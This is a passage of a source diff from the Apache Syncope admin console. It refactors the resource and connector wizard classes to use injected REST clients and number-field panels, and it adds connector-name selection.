object.getLocation().equals(connInstanceTO.getLocation())). - collect(Collectors.toList()); - versions = getVersions(connInstanceTO, bundles); + connectorName.setEnabled(true); + + List> connectors = bundles.stream(). + filter(bundle -> bundle.getBundleName().equals(connInstanceTO.getBundleName())). + map(bundle -> Pair.of(bundle.getConnectorName(), bundle.getVersion())). + collect(Collectors.toList()); + if (connectors.size() == 1) { + Pair entry = connectors.get(0); + + connInstanceTO.setConnectorName(entry.getLeft()); + connectorName.getField().setModelObject(entry.getLeft()); + connectorName.setChoices(List.of(entry.getLeft())); + + connInstanceTO.setVersion(entry.getRight()); + version.getField().setModelObject(entry.getRight()); + version.setChoices(List.of(entry.getRight())); } else { - versions = getVersions(connInstanceTO, bundles); + connectorName.setChoices(connectors.stream(). + map(Pair::getLeft).distinct().sorted().collect(Collectors.toList())); + + List versions = connectors.stream(). + map(Pair::getRight).distinct().sorted().collect(Collectors.toList()); + version.setChoices(versions); + + if (versions.size() == 1) { + connInstanceTO.setVersion(versions.get(0)); + version.getField().setModelObject(versions.get(0)); + } else { + connInstanceTO.setVersion(null); + version.getField().setModelObject(null); + } } + + target.add(version); + target.add(connectorName); + } + }); + + connectorName.getField().add(new IndicatorAjaxFormComponentUpdatingBehavior(Constants.ON_CHANGE) { + + private static final long serialVersionUID = -1107858522700306810L; + + @Override + protected void onUpdate(final AjaxRequestTarget target) { + List versions = bundles.stream(). + filter(bundle -> bundle.getBundleName().equals(connInstanceTO.getBundleName()) + && bundle.getConnectorName().equals(connInstanceTO.getConnectorName())). + map(ConnIdBundle::getVersion).collect(Collectors.toList()); if (versions.size() == 1) { connInstanceTO.setVersion(versions.get(0)); version.getField().setModelObject(versions.get(0)); @@ -182,39 +180,28 @@ protected void onUpdate(final AjaxRequestTarget target) { connInstanceTO.setPoolConf(new ConnPoolConfTO()); } - add(new AjaxSpinnerFieldPanel.Builder().min(0).max(Integer.MAX_VALUE).build( + add(new AjaxNumberFieldPanel.Builder().min(0).max(Integer.MAX_VALUE).build( "connRequestTimeout", "connRequestTimeout", Integer.class, new PropertyModel<>(connInstanceTO, "connRequestTimeout"))); - add(new AjaxSpinnerFieldPanel.Builder().min(0).max(Integer.MAX_VALUE).build( + add(new AjaxNumberFieldPanel.Builder().min(0).max(Integer.MAX_VALUE).build( "poolMaxObjects", "poolMaxObjects", Integer.class, new PropertyModel<>(connInstanceTO.getPoolConf(), "maxObjects"))); - add(new AjaxSpinnerFieldPanel.Builder().min(0).max(Integer.MAX_VALUE).build( + add(new AjaxNumberFieldPanel.Builder().min(0).max(Integer.MAX_VALUE).build( "poolMinIdle", "poolMinIdle", Integer.class, new PropertyModel<>(connInstanceTO.getPoolConf(), "minIdle"))); - add(new AjaxSpinnerFieldPanel.Builder().min(0).max(Integer.MAX_VALUE).build( + add(new AjaxNumberFieldPanel.Builder().min(0).max(Integer.MAX_VALUE).build( "poolMaxIdle", "poolMaxIdle", Integer.class, new PropertyModel<>(connInstanceTO.getPoolConf(), "maxIdle"))); - add(new AjaxSpinnerFieldPanel.Builder().min(0L).max(Long.MAX_VALUE).build( + add(new AjaxNumberFieldPanel.Builder().min(0L).max(Long.MAX_VALUE).build( "poolMaxWait", "poolMaxWait", Long.class, new PropertyModel<>(connInstanceTO.getPoolConf(), "maxWait"))); - add(new AjaxSpinnerFieldPanel.Builder().min(0L).max(Long.MAX_VALUE).build( + add(new AjaxNumberFieldPanel.Builder().min(0L).max(Long.MAX_VALUE).build( "poolMinEvictableIdleTime", "poolMinEvictableIdleTime", Long.class, new PropertyModel<>(connInstanceTO.getPoolConf(), "minEvictableIdleTimeMillis"))); } - - private static List getVersions(final ConnInstanceTO connInstanceTO, final List bundles) { - return bundles.stream().filter(object -> object.getLocation().equals(connInstanceTO.getLocation()) - && object.getBundleName().equals(connInstanceTO.getBundleName())). - map(ConnIdBundle::getVersion).collect(Collectors.toList()); - } - - private List getBundles(final ConnInstanceTO connInstanceTO, final List bundles) { - return bundles.stream().filter(object -> object.getLocation().equals(connInstanceTO.getLocation())). - map(ConnIdBundle::getBundleName).collect(Collectors.toList()); - } } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ConnectorWizardBuilder.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ConnectorWizardBuilder.java index 7fc06a4dd1f..7ecef671068 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ConnectorWizardBuilder.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ConnectorWizardBuilder.java @@ -41,12 +41,20 @@ public class ConnectorWizardBuilder extends AbstractResourceWizardBuilder bundles; + protected final List bundles; + + protected final ConnectorRestClient connectorRestClient; + + public ConnectorWizardBuilder( + final ConnInstanceTO defaultItem, + final ConnectorRestClient connectorRestClient, + final PageReference pageRef) { - public ConnectorWizardBuilder(final ConnInstanceTO defaultItem, final PageReference pageRef) { super(defaultItem, pageRef); - this.bundles = ConnectorRestClient.getAllBundles().stream(). + + this.bundles = connectorRestClient.getAllBundles().stream(). filter(object -> object.getLocation().equals(defaultItem.getLocation())).collect(Collectors.toList()); + this.connectorRestClient = connectorRestClient; } @Override @@ -66,7 +74,7 @@ protected Pair check(final AjaxRequestTarget target) { connInstanceTO.setBundleName(bundleTO.getBundleName()); connInstanceTO.setVersion(bundleTO.getVersion()); - return ConnectorRestClient.check(connInstanceTO); + return connectorRestClient.check(connInstanceTO); } @Override @@ -99,39 +107,32 @@ protected Serializable onApplyInternal(final Serializable modelObject) { connInstanceTO.setPoolConf(null); } - ConnInstanceTO res; + ConnInstanceTO connInstance; if (mode == AjaxWizard.Mode.CREATE) { - res = ConnectorRestClient.create(connInstanceTO); + connInstance = connectorRestClient.create(connInstanceTO); } else { - ConnectorRestClient.update(connInstanceTO); - res = connInstanceTO; + connectorRestClient.update(connInstanceTO); + connInstance = connInstanceTO; } - return res; + return connInstance; } @Override protected Serializable getCreateCustomPayloadEvent(final Serializable afterObject, final AjaxRequestTarget target) { - final ConnInstanceTO actual = ConnInstanceTO.class.cast(afterObject); + ConnInstanceTO connInstance = ConnInstanceTO.class.cast(afterObject); return new CreateEvent( - actual.getKey(), - actual.getDisplayName(), + connInstance.getKey(), + connInstance.getDisplayName(), TopologyNode.Kind.CONNECTOR, - URI.create(actual.getLocation()).toASCIIString(), + URI.create(connInstance.getLocation()).toASCIIString(), target); } protected static ConnIdBundle getBundle(final ConnInstanceTO connInstanceTO, final List bundles) { - List bundlesList; - if (bundles.isEmpty()) { - bundlesList = ConnectorRestClient.getAllBundles().stream(). - filter(object -> object.getLocation().equals(connInstanceTO.getLocation())). - collect(Collectors.toList()); - } else { - bundlesList = bundles; - } - return bundlesList.stream().filter(bundle - -> bundle.getBundleName().equals(connInstanceTO.getBundleName()) + return bundles.stream(). + filter(bundle -> bundle.getBundleName().equals(connInstanceTO.getBundleName()) + && bundle.getConnectorName().equals(connInstanceTO.getConnectorName()) && bundle.getVersion().equals(connInstanceTO.getVersion())). findFirst().orElse(null); } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ProvisionWizardBuilder.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ProvisionWizardBuilder.java index 06e70654d34..b7db1ee1680 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ProvisionWizardBuilder.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ProvisionWizardBuilder.java @@ -50,59 +50,14 @@ public class ProvisionWizardBuilder extends BaseAjaxWizardBuilder(resourceProvision)); - - WebMarkupContainer container = new WebMarkupContainer("container"); - container.setOutputMarkupId(true); - add(container); - - clazz = new AjaxTextFieldPanel( - "clazz", "clazz", new PropertyModel<>(resourceProvision, "objectClass")); - clazz.setRequired(true); - clazz.setChoices(ConnectorRestClient.getObjectClasses(resourceTO.getConnector())); - container.add(clazz); - - AjaxCheckBoxPanel ignoreCaseMatch = new AjaxCheckBoxPanel( - "ignoreCaseMatch", "ignoreCaseMatch", new PropertyModel<>(resourceProvision, "ignoreCaseMatch")); - container.add(ignoreCaseMatch); - } - } - - protected void setObjectClassModelObject(final String type) { - if (clazz != null) { - if (AnyTypeKind.USER.name().equals(type)) { - clazz.setModelObject(ConnIdSpecialName.ACCOUNT); - } else if (AnyTypeKind.GROUP.name().equals(type)) { - clazz.setModelObject(ConnIdSpecialName.GROUP); - } else { - clazz.setModelObject(""); - } - } - } - /** * AuxClasses definition step. */ - private static final class AuxClasses extends WizardStep implements ICondition { + protected static final class AuxClasses extends WizardStep implements ICondition { private static final long serialVersionUID = 5315236191866427500L; - private final ResourceProvision provision; + protected final ResourceProvision provision; AuxClasses(final ResourceProvision resourceProvision) { this.provision = resourceProvision; @@ -121,7 +76,7 @@ public boolean evaluate() { /** * Mapping definition step. */ - private static final class Mapping extends WizardStep { + protected static final class Mapping extends WizardStep { private static final long serialVersionUID = 3454904947720856253L; @@ -134,7 +89,7 @@ private static final class Mapping extends WizardStep { /** * AccountLink specification step. */ - private static final class ConnObjectLink extends WizardStep { + protected static final class ConnObjectLink extends WizardStep { private static final long serialVersionUID = 2359955465172450478L; @@ -185,16 +140,63 @@ protected void onUpdate(final AjaxRequestTarget target) { } /** - * Construct. - * - * @param resourceTO external resource to be updated. - * @param adminRealm admin realm - * @param pageRef Caller page reference. + * The object type specification step. */ - public ProvisionWizardBuilder(final ResourceTO resourceTO, final String adminRealm, final PageReference pageRef) { + protected final class ObjectType extends WizardStep { + + private static final long serialVersionUID = -1657800545799468278L; + + ObjectType(final ResourceProvision resourceProvision) { + super(new ResourceModel("clazz.title", StringUtils.EMPTY), + new ResourceModel("clazz.summary", StringUtils.EMPTY), new Model<>(resourceProvision)); + + WebMarkupContainer container = new WebMarkupContainer("container"); + container.setOutputMarkupId(true); + add(container); + + clazz = new AjaxTextFieldPanel( + "clazz", "clazz", new PropertyModel<>(resourceProvision, "objectClass")); + clazz.setRequired(true); + clazz.setChoices(connectorRestClient.getObjectClasses(resourceTO.getConnector())); + container.add(clazz); + + AjaxCheckBoxPanel ignoreCaseMatch = new AjaxCheckBoxPanel( + "ignoreCaseMatch", "ignoreCaseMatch", new PropertyModel<>(resourceProvision, "ignoreCaseMatch")); + container.add(ignoreCaseMatch); + } + } + + protected final ResourceTO resourceTO; + + protected final String adminRealm; + + protected AjaxTextFieldPanel clazz; + + protected final ConnectorRestClient connectorRestClient; + + public ProvisionWizardBuilder( + final ResourceTO resourceTO, + final String adminRealm, + final ConnectorRestClient connectorRestClient, + final PageReference pageRef) { + super(new ResourceProvision(), pageRef); + this.resourceTO = resourceTO; this.adminRealm = adminRealm; + this.connectorRestClient = connectorRestClient; + } + + protected void setObjectClassModelObject(final String type) { + if (clazz != null) { + if (AnyTypeKind.USER.name().equals(type)) { + clazz.setModelObject(ConnIdSpecialName.ACCOUNT); + } else if (AnyTypeKind.GROUP.name().equals(type)) { + clazz.setModelObject(ConnIdSpecialName.GROUP); + } else { + clazz.setModelObject(""); + } + } } @Override diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ResourceConnConfPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ResourceConnConfPanel.java index f4e04df457e..c86859c757b 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ResourceConnConfPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ResourceConnConfPanel.java @@ -28,16 +28,17 @@ import org.apache.wicket.ajax.markup.html.form.AjaxButton; import org.apache.wicket.model.LoadableDetachableModel; import org.apache.wicket.model.PropertyModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public abstract class ResourceConnConfPanel extends AbstractConnConfPanel { private static final long serialVersionUID = -7982691107029848579L; - private final boolean createFlag; + @SpringBean + protected ConnectorRestClient connectorRestClient; - public ResourceConnConfPanel(final ResourceTO resourceTO, final boolean createFlag) { + public ResourceConnConfPanel(final ResourceTO resourceTO) { super(resourceTO); - this.createFlag = createFlag; model = new LoadableDetachableModel<>() { @@ -89,7 +90,7 @@ protected final List getConnProperties(final ResourceTO resour List props = new ArrayList<>(); if (resourceTO.getConnector() != null) { - ConnectorRestClient.read(resourceTO.getConnector()).getConf().stream(). + connectorRestClient.read(resourceTO.getConnector()).getConf().stream(). filter(ConnConfProperty::isOverridable). forEachOrdered(props::add); } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel.java index 03bb66fbbb5..3aced1c64e1 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ResourceDetailsPanel.java @@ -18,20 +18,20 @@ */ package org.apache.syncope.client.console.wizards.resources; -import java.util.ArrayList; import java.util.Arrays; -import java.util.HashMap; import java.util.List; import java.util.Map; +import java.util.Optional; import java.util.stream.Collectors; import org.apache.syncope.client.console.rest.ConnectorRestClient; import org.apache.syncope.client.console.rest.ImplementationRestClient; import org.apache.syncope.client.ui.commons.Constants; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxCheckBoxPanel; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxDropDownChoicePanel; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxNumberFieldPanel; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxPalettePanel; -import org.apache.syncope.client.ui.commons.markup.html.form.AjaxSpinnerFieldPanel; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxTextFieldPanel; +import org.apache.syncope.common.lib.to.ConnInstanceTO; import org.apache.syncope.common.lib.to.ImplementationTO; import org.apache.syncope.common.lib.to.ResourceTO; import org.apache.syncope.common.lib.types.IdMImplementationType; @@ -45,31 +45,38 @@ import org.apache.wicket.model.PropertyModel; import org.apache.wicket.model.ResourceModel; import org.apache.wicket.model.util.ListModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class ResourceDetailsPanel extends WizardStep { private static final long serialVersionUID = -7982691107029848579L; - private AjaxDropDownChoicePanel connector; + @SpringBean + protected ImplementationRestClient implementationRestClient; - private final IModel> propagationActions = new LoadableDetachableModel<>() { + @SpringBean + protected ConnectorRestClient connectorRestClient; + + protected AjaxDropDownChoicePanel connector; + + protected final IModel> propagationActions = new LoadableDetachableModel<>() { private static final long serialVersionUID = 5275935387613157437L; @Override protected List load() { - return ImplementationRestClient.list(IdMImplementationType.PROPAGATION_ACTIONS).stream(). + return implementationRestClient.list(IdMImplementationType.PROPAGATION_ACTIONS).stream(). map(ImplementationTO::getKey).sorted().collect(Collectors.toList()); } }; - private final IModel> provisionSorters = new LoadableDetachableModel<>() { + protected final IModel> provisionSorters = new LoadableDetachableModel<>() { private static final long serialVersionUID = 4659376149825914247L; @Override protected List load() { - return ImplementationRestClient.list(IdMImplementationType.PROVISION_SORTER).stream(). + return implementationRestClient.list(IdMImplementationType.PROVISION_SORTER).stream(). map(ImplementationTO::getKey).sorted().collect(Collectors.toList()); } }; @@ -95,17 +102,12 @@ public ResourceDetailsPanel(final ResourceTO resourceTO, final boolean createFla new PropertyModel<>(resourceTO, "enforceMandatoryCondition"), false)); - container.add(new AjaxSpinnerFieldPanel.Builder().build( + container.add(new AjaxNumberFieldPanel.Builder().build( "propagationPriority", "propagationPriority", Integer.class, new PropertyModel<>(resourceTO, "propagationPriority"))); - container.add(new AjaxCheckBoxPanel("randomPwdIfNotProvided", - new ResourceModel("randomPwdIfNotProvided", "randomPwdIfNotProvided").getObject(), - new PropertyModel<>(resourceTO, "randomPwdIfNotProvided"), - false)); - container.add(new AjaxPalettePanel.Builder(). setAllowMoveAll(true).setAllowOrder(true). build("propagationActions", @@ -157,10 +159,9 @@ public ResourceDetailsPanel(final ResourceTO resourceTO, final boolean createFla "connector", new ResourceModel("connector", "connector").getObject(), new PropertyModel<>(resourceTO, "connector"), false); - Map connectorsMap = new HashMap<>(); - ConnectorRestClient.getAllConnectors().forEach(conn -> connectorsMap.put(conn.getKey(), - conn.getDisplayName())); - connector.setChoices(new ArrayList<>(connectorsMap.keySet())); + Map connectorsMap = connectorRestClient.getAllConnectors().stream(). + collect(Collectors.toMap(ConnInstanceTO::getKey, ConnInstanceTO::getDisplayName)); + connector.setChoices(connectorsMap.keySet().stream().sorted().collect(Collectors.toList())); connector.setChoiceRenderer(new IChoiceRenderer<>() { private static final long serialVersionUID = 91313845533448846L; @@ -169,7 +170,7 @@ public ResourceDetailsPanel(final ResourceTO resourceTO, final boolean createFla @Override public String getDisplayValue(final String value) { - return valueMap.get(value) == null ? value : valueMap.get(value); + return Optional.ofNullable(valueMap.get(value)).orElse(null); } @Override diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ResourceMappingPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ResourceMappingPanel.java index de84e722a60..1441795726d 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ResourceMappingPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ResourceMappingPanel.java @@ -41,6 +41,7 @@ import org.apache.wicket.model.IModel; import org.apache.wicket.model.LoadableDetachableModel; import org.apache.wicket.model.util.ListModel; +import org.apache.wicket.spring.injection.annot.SpringBean; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -51,14 +52,23 @@ public class ResourceMappingPanel extends AbstractMappingPanel { private static final long serialVersionUID = -7982691107029848579L; - private static final Logger LOG = LoggerFactory.getLogger(ResourceMappingPanel.class); + protected static final Logger LOG = LoggerFactory.getLogger(ResourceMappingPanel.class); + + @SpringBean + protected ConnectorRestClient connectorRestClient; + + @SpringBean + protected AnyTypeRestClient anyTypeRestClient; + + @SpringBean + protected AnyTypeClassRestClient anyTypeClassRestClient; /** * External resource provisioning configuration instance to be updated. */ - private final ResourceProvision provision; + protected final ResourceProvision provision; - private final LoadableDetachableModel> extAttrNames; + protected final LoadableDetachableModel> extAttrNames; /** * Attribute Mapping Panel. @@ -81,7 +91,7 @@ public ResourceMappingPanel( super(id, itemTransformers, jexlTransformers, - new ListModel<>(provision.getItems()), + new ListModel<>(provision.getItems()), resourceTO.getConnector() != null, MappingPurpose.BOTH); @@ -95,11 +105,11 @@ public ResourceMappingPanel( @Override protected List load() { - return ConnectorRestClient.getExtAttrNames( - adminRealm, - provision.getObjectClass(), - resourceTO.getConnector(), - resourceTO.getConfOverride()); + return connectorRestClient.getExtAttrNames( + adminRealm, + provision.getObjectClass(), + resourceTO.getConnector(), + resourceTO.getConfOverride()); } }; } @@ -133,7 +143,7 @@ protected void setAttrNames(final AjaxTextFieldPanel toBeUpdated) { } else { AnyTypeTO anyType = null; try { - anyType = AnyTypeRestClient.read(provision.getAnyType()); + anyType = anyTypeRestClient.read(provision.getAnyType()); } catch (Exception e) { LOG.error("Could not read AnyType {}", provision.getAnyType(), e); } @@ -141,14 +151,14 @@ protected void setAttrNames(final AjaxTextFieldPanel toBeUpdated) { List anyTypeClassTOs = new ArrayList<>(); if (anyType != null) { try { - anyTypeClassTOs.addAll(AnyTypeClassRestClient.list(anyType.getClasses())); + anyTypeClassTOs.addAll(anyTypeClassRestClient.list(anyType.getClasses())); } catch (Exception e) { LOG.error("Could not read AnyType classes for {}", anyType.getClasses(), e); } } provision.getAuxClasses().forEach(auxClass -> { try { - anyTypeClassTOs.add(AnyTypeClassRestClient.read(auxClass)); + anyTypeClassTOs.add(anyTypeClassRestClient.read(auxClass)); } catch (Exception e) { LOG.error("Could not read AnyTypeClass for {}", auxClass, e); } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ResourceProvisionPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ResourceProvisionPanel.java index 3c593960288..96f49011d2b 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ResourceProvisionPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ResourceProvisionPanel.java @@ -29,6 +29,7 @@ import org.apache.syncope.client.console.panels.ListViewPanel; import org.apache.syncope.client.console.panels.ListViewPanel.ListViewReload; import org.apache.syncope.client.console.rest.AnyTypeRestClient; +import org.apache.syncope.client.console.rest.ConnectorRestClient; import org.apache.syncope.client.console.rest.ResourceRestClient; import org.apache.syncope.client.console.wicket.markup.html.bootstrap.dialog.BaseModal; import org.apache.syncope.client.console.wicket.markup.html.form.ActionLink; @@ -49,22 +50,32 @@ import org.apache.wicket.model.LoadableDetachableModel; import org.apache.wicket.model.Model; import org.apache.wicket.model.StringResourceModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class ResourceProvisionPanel extends AbstractModalPanel { private static final long serialVersionUID = -7982691107029848579L; - private final ResourceTO resourceTO; + @SpringBean + protected ResourceRestClient resourceRestClient; - private final List provisions; + @SpringBean + protected ConnectorRestClient connectorRestClient; - private final ObjectTypeTogglePanel objectTypeTogglePanel; + @SpringBean + protected AnyTypeRestClient anyTypeRestClient; - private final WizardMgtPanel list; + protected final ResourceTO resourceTO; - private final ProvisionWizardBuilder wizard; + protected final List provisions; - private final AjaxLink addAjaxLink; + protected final ObjectTypeTogglePanel objectTypeTogglePanel; + + protected final WizardMgtPanel list; + + protected final ProvisionWizardBuilder wizard; + + protected final AjaxLink addAjaxLink; protected ActionLinksTogglePanel actionTogglePanel; @@ -82,23 +93,23 @@ public ResourceProvisionPanel( actionTogglePanel = new ActionLinksTogglePanel<>("toggle", pageRef); add(actionTogglePanel); - wizard = new ProvisionWizardBuilder(resourceTO, adminRealm, pageRef); + wizard = new ProvisionWizardBuilder(resourceTO, adminRealm, connectorRestClient, pageRef); ListViewPanel.Builder builder = new ListViewPanel.Builder<>( - ResourceProvision.class, pageRef) { + ResourceProvision.class, pageRef) { private static final long serialVersionUID = 4907732721283972943L; @Override protected ResourceProvision getActualItem( - final ResourceProvision item, final List list) { + final ResourceProvision item, final List list) { return Optional.ofNullable(item).flatMap(resourceProvision -> list.stream() - .filter(in -> ((resourceProvision.getKey() == null && in.getKey() == null) + .filter(in -> ((resourceProvision.getKey() == null && in.getKey() == null) || (in.getKey() != null && in.getKey().equals(resourceProvision.getKey()))) && ((resourceProvision.getAnyType() == null && in.getAnyType() == null) || (in.getAnyType() != null && in.getAnyType().equals(resourceProvision.getAnyType())))). - findAny()).orElse(null); + findAny()).orElse(null); } @Override @@ -150,10 +161,10 @@ protected ActionLinksTogglePanel getTogglePanel() { public void onClick(final AjaxRequestTarget target, final ResourceProvision provision) { try { send(ResourceProvisionPanel.this, Broadcast.DEPTH, - new AjaxWizard.NewItemActionEvent<>(provision, 1, target).setResourceModel( - new StringResourceModel("inner.provision.mapping", - ResourceProvisionPanel.this, - Model.of(provision)))); + new AjaxWizard.NewItemActionEvent<>(provision, 1, target).setTitleModel( + new StringResourceModel("inner.provision.mapping", + ResourceProvisionPanel.this, + Model.of(provision)))); } catch (SyncopeClientException e) { LOG.error("While contacting resource", e); SyncopeConsoleSession.get().onException(e); @@ -168,11 +179,11 @@ public void onClick(final AjaxRequestTarget target, final ResourceProvision prov @Override public void onClick(final AjaxRequestTarget target, final ResourceProvision provision) { try { - ResourceRestClient.setLatestSyncToken(resourceTO.getKey(), provision.getAnyType()); + resourceRestClient.setLatestSyncToken(resourceTO.getKey(), provision.getAnyType()); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); } catch (Exception e) { LOG.error("While setting latest sync token for {}/{}", - resourceTO.getKey(), provision.getAnyType(), e); + resourceTO.getKey(), provision.getAnyType(), e); SyncopeConsoleSession.get().onException(e); } ((BaseWebPage) pageRef.getPage()).getNotificationPanel().refresh(target); @@ -185,11 +196,11 @@ public void onClick(final AjaxRequestTarget target, final ResourceProvision prov @Override public void onClick(final AjaxRequestTarget target, final ResourceProvision provision) { try { - ResourceRestClient.removeSyncToken(resourceTO.getKey(), provision.getAnyType()); + resourceRestClient.removeSyncToken(resourceTO.getKey(), provision.getAnyType()); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); } catch (Exception e) { LOG.error("While removing sync token for {}/{}", - resourceTO.getKey(), provision.getAnyType(), e); + resourceTO.getKey(), provision.getAnyType(), e); SyncopeConsoleSession.get().onException(e); } ((BaseWebPage) pageRef.getPage()).getNotificationPanel().refresh(target); @@ -224,7 +235,7 @@ public void onClick(final AjaxRequestTarget target, final ResourceProvision prov @Override public void onClick(final AjaxRequestTarget target) { send(ResourceProvisionPanel.this, Broadcast.BREADTH, - new ActionLinksTogglePanel.ActionLinkToggleCloseEventPayload(target)); + new ActionLinksTogglePanel.ActionLinkToggleCloseEventPayload(target)); objectTypeTogglePanel.setHeaderLabel(target); objectTypeTogglePanel.toggle(target, true); } @@ -283,7 +294,7 @@ public void onSubmit(final AjaxRequestTarget target) { } }); - ResourceRestClient.update(resourceTO); + resourceRestClient.update(resourceTO); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); modal.close(target); } catch (Exception e) { @@ -304,9 +315,9 @@ private LoadableDetachableModel> getAnyTypes() { @Override protected List load() { - List anyTypes = AnyTypeRestClient.list().stream(). - filter(anyType -> resourceTO.getProvision(anyType).isEmpty()). - collect(Collectors.toList()); + List anyTypes = anyTypeRestClient.list().stream(). + filter(anyType -> resourceTO.getProvision(anyType).isEmpty()). + collect(Collectors.toList()); if (resourceTO.getOrgUnit() == null) { anyTypes.add(SyncopeConstants.REALM_ANYTYPE); } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ResourceSecurityPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ResourceSecurityPanel.java index ef9dae064f4..f1981be7543 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ResourceSecurityPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/resources/ResourceSecurityPanel.java @@ -19,6 +19,7 @@ package org.apache.syncope.client.console.wizards.resources; import java.util.ArrayList; +import java.util.LinkedHashMap; import java.util.Map; import java.util.stream.Collectors; import org.apache.syncope.client.console.rest.PolicyRestClient; @@ -34,62 +35,66 @@ import org.apache.wicket.model.LoadableDetachableModel; import org.apache.wicket.model.PropertyModel; import org.apache.wicket.model.ResourceModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class ResourceSecurityPanel extends WizardStep { private static final long serialVersionUID = -7982691107029848579L; - private final IModel> passwordPolicies = new LoadableDetachableModel<>() { + @SpringBean + protected PolicyRestClient policyRestClient; + + protected final IModel> passwordPolicies = new LoadableDetachableModel<>() { private static final long serialVersionUID = 5275935387613157437L; @Override protected Map load() { - return PolicyRestClient.list(PolicyType.PASSWORD).stream(). - collect(Collectors.toMap(PolicyTO::getKey, PolicyTO::getName)); + return policyRestClient.list(PolicyType.PASSWORD).stream(). + collect(Collectors.toMap(PolicyTO::getKey, PolicyTO::getName, (v1, v2) -> v1, LinkedHashMap::new)); } }; - private final IModel> accountPolicies = new LoadableDetachableModel<>() { + protected final IModel> accountPolicies = new LoadableDetachableModel<>() { private static final long serialVersionUID = -2012833443695917883L; @Override protected Map load() { - return PolicyRestClient.list(PolicyType.ACCOUNT).stream(). - collect(Collectors.toMap(PolicyTO::getKey, PolicyTO::getName)); + return policyRestClient.list(PolicyType.ACCOUNT).stream(). + collect(Collectors.toMap(PolicyTO::getKey, PolicyTO::getName, (v1, v2) -> v1, LinkedHashMap::new)); } }; - private final IModel> propagationPolicies = new LoadableDetachableModel<>() { + protected final IModel> propagationPolicies = new LoadableDetachableModel<>() { private static final long serialVersionUID = -2012833443695917883L; @Override protected Map load() { - return PolicyRestClient.list(PolicyType.PROPAGATION).stream(). - collect(Collectors.toMap(PolicyTO::getKey, PolicyTO::getName)); + return policyRestClient.list(PolicyType.PROPAGATION).stream(). + collect(Collectors.toMap(PolicyTO::getKey, PolicyTO::getName, (v1, v2) -> v1, LinkedHashMap::new)); } }; - private final IModel> pullPolicies = new LoadableDetachableModel<>() { + protected final IModel> pullPolicies = new LoadableDetachableModel<>() { private static final long serialVersionUID = -2012833443695917883L; @Override protected Map load() { - return PolicyRestClient.list(PolicyType.PULL).stream(). - collect(Collectors.toMap(PolicyTO::getKey, PolicyTO::getName)); + return policyRestClient.list(PolicyType.PULL).stream(). + collect(Collectors.toMap(PolicyTO::getKey, PolicyTO::getName, (v1, v2) -> v1, LinkedHashMap::new)); } }; - private final IModel> pushPolicies = new LoadableDetachableModel<>() { + protected final IModel> pushPolicies = new LoadableDetachableModel<>() { private static final long serialVersionUID = 9089911876466472133L; @Override protected Map load() { - return PolicyRestClient.list(PolicyType.PUSH).stream(). + return policyRestClient.list(PolicyType.PUSH).stream(). collect(Collectors.toMap(PolicyTO::getKey, PolicyTO::getName)); } }; @@ -111,7 +116,7 @@ public ResourceSecurityPanel(final ResourceTO resourceTO) { new ResourceModel("passwordPolicy", "passwordPolicy").getObject(), new PropertyModel<>(resourceTO, "passwordPolicy"), false); - passwordPolicy.setChoiceRenderer(new PolicyRenderer(passwordPolicies)); + passwordPolicy.setChoiceRenderer(new PolicyRenderer(passwordPolicies.getObject())); passwordPolicy.setChoices(new ArrayList<>(passwordPolicies.getObject().keySet())); ((DropDownChoice) passwordPolicy.getField()).setNullValid(true); container.add(passwordPolicy); @@ -125,7 +130,7 @@ public ResourceSecurityPanel(final ResourceTO resourceTO) { new ResourceModel("accountPolicy", "accountPolicy").getObject(), new PropertyModel<>(resourceTO, "accountPolicy"), false); - accountPolicy.setChoiceRenderer(new PolicyRenderer(accountPolicies)); + accountPolicy.setChoiceRenderer(new 